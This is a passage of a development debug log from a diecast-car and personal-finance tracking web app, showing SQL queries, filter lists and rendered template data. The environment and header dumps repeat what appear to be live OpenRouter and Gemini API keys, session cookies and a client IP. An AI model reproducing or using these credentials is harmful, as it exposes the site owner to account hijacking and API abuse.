      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:02:34.429Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:02:34.430Z server-connect:app Executing action step identify
2026-02-04T07:02:34.430Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.430Z server-connect:output identity: 1
2026-02-04T07:02:34.430Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.430Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:34.430Z server-connect:output restrict: undefined
2026-02-04T07:02:34.430Z server-connect:app Executing action step select
2026-02-04T07:02:34.430Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:02:34.431Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:02:34.432Z server-connect:app Executing action step select
2026-02-04T07:02:34.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:02:34.432Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:02:34.432Z server-connect:app Executing action step select
2026-02-04T07:02:34.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:02:34.433Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:02:34.734Z server-connect:router Serving templateView /
2026-02-04T07:02:34.734Z server-connect:app Executing action step identify
2026-02-04T07:02:34.734Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:34.734Z server-connect:output identity: 1
2026-02-04T07:02:34.734Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.734Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:34.735Z server-connect:output restrict: undefined
2026-02-04T07:02:34.735Z server-connect:app Executing action step restrict
2026-02-04T07:02:34.735Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:34.735Z server-connect:output restrict: undefined
2026-02-04T07:02:34.735Z server-connect:router Render template layouts/main
2026-02-04T07:02:34.735Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:02:46.427Z server-connect:router Serving templateView /collections
2026-02-04T07:02:46.427Z server-connect:app Executing action step identify
2026-02-04T07:02:46.427Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:46.427Z server-connect:output identity: 1
2026-02-04T07:02:46.427Z server-connect:app Executing action step restrict
2026-02-04T07:02:46.427Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:46.428Z server-connect:output restrict: undefined
2026-02-04T07:02:46.428Z server-connect:router Render template masters/collections
2026-02-04T07:02:46.428Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:02:46.726Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T07:02:46.727Z server-connect:app Executing action step identify
2026-02-04T07:02:46.727Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:46.727Z server-connect:output identity: 1
2026-02-04T07:02:46.727Z server-connect:app Executing action step restrict
2026-02-04T07:02:46.727Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:46.728Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:02:46.728Z server-connect:output restrict: undefined
2026-02-04T07:02:46.728Z server-connect:app Executing action step select
2026-02-04T07:02:46.728Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T07:02:46.728Z server-connect:app Executing action step identify
2026-02-04T07:02:46.728Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:46.728Z server-connect:output identity: 1
2026-02-04T07:02:46.728Z server-connect:app Executing action step restrict
2026-02-04T07:02:46.728Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:46.729Z server-connect:output restrict: undefined
2026-02-04T07:02:46.729Z server-connect:app Executing action step paged
2026-02-04T07:02:46.729Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:02:46.729Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T07:02:46.731Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 186,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:02:50.049Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:02:50.049Z server-connect:app Executing action step identify
2026-02-04T07:02:50.049Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:50.049Z server-connect:output identity: 1
2026-02-04T07:02:50.049Z server-connect:app Executing action step restrict
2026-02-04T07:02:50.049Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:50.050Z server-connect:output restrict: undefined
2026-02-04T07:02:50.050Z server-connect:app Executing action step paged
2026-02-04T07:02:50.050Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:02:50.051Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 51,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
